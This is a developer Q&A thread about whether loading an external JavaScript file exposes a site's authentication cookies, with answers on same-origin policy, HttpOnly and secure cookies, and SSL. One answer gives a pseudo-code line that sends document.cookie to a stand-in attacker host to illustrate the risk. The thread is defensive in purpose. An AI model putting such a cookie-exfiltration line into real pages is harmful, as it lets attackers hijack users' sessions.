开发者

When linking to an external .js file, isn't this a security risk?

开发者 https://www.devze.com 2023-02-16 19:13 出处:网络
Meaning if I have a website and I link to a external .js file, say开发者_JS百科 for jquery or some widget service, they can pretty easy just pull by authentication cookie and then login as me correct?

Meaning if I have a website and I link to a external .js file, say开发者_JS百科 for jquery or some widget service, they can pretty easy just pull by authentication cookie and then login as me correct?

What if I am under SSL?


If you include Javascript or JSONP code from another domain, that code has full client-side power and can do whatever it wants.
It can send AJAX requests to automatically make your user do things, and it can steal document.cookie.

If your authentication cookies are HTTP-only, it can't steal them, but it can still impersonate the user using AJAX.

Never include a JS file from a domain you don't trust.

If your page uses SSL, all Javascript files must also use SSL, or an attacker can modify the un-encrypted Javascript to do whatever he wants.
For this reason, browsers will show a security warning if an SSL page uses non-SSL resources.

Note that JSONP is no exception to this rule.
Any JSONP response has full access to your DOM.
If security is a concern, do not use untrusted JSONP APIs.


I can only agree with SLaks and Haochi (+1 and all).

It is extremely insecure and you should never do it even if you trust the domain. Don't trust the answers that tell you that this is not the case because they are just wrong.

This is why now literally all of the links to JavaScript libraries hosted on Google's CDN on the Developer's Guide to Google Libraries API are secure HTTPS links, even though encrypting all of that traffic means a huge overhead even for Google.

They used to recommend using HTTPS only for websites that use HTTPS themselves, now there are no HTTP links in the examples at all.

The point is that you can trust Google and their CDN, but you can never trust the local dns and routers in some poor schmuck's cafe from which your visitors may be connecting to your website and Google's CDN is a great target for obvious reasons.


It depends on what do you mean by "pull". As others have said here, cookies are only sent to where it is originated from. However, a third-party (with malicious intent) file, can still send your cookies back to their server by executing some JavaScript code like

// pseudo-code
cookie_send("http://badguy.tld/?"+document.cookies)

So, only include scripts from trusted sources (Google, Facebook, etc)


No, because cookies for your site will only be sent to your domain.

For example when your browser sees yoursite.com it will send the authentication cookie for yoursite.com. If it also has to make a different request for jquery (for the .js script) it won't send the cookie for yoursite.com (but it will send a jquery cookie - assuming one exists).

Remember every resource is a seperate request under HTTP.


I am not sure HttpOnly is fully supported across all browsers, so I wouldn't trust it to prevent attacks by itself.

If you're worried about a 3rd party attacker (i.e., not the site offering the JS file) grabbing the cookies, definitely use SSL and secure cookies.

If your page isn't running on SSL, using HttpOnly cookies doesn't actually prevent a man-in-the-middle attack, since an attacker in the middle can intercept the cookies regardless by just pretending to be your domain.

If you don't trust the host of an external .js file, don't use the external .js file. An external js file can rewrite the entire page DOM to ask for a CC to be submitted to anyone and have it look (to an average user) the same as your own page, so you're pretty much doomed if you're getting malicious .js files. If you're not sure if a .js host is trustworthy, host a copy of it locally (and check the file for security holes) or don't use it at all. Generally I prefer the latter.

In the specific case of JQuery, just use the copy on Google's CDN if you can't find a copy you like better.


Cookies are domain specific, guarded by same origin policy.

0

精彩评论

暂无评论...
验证码 换一张
取 消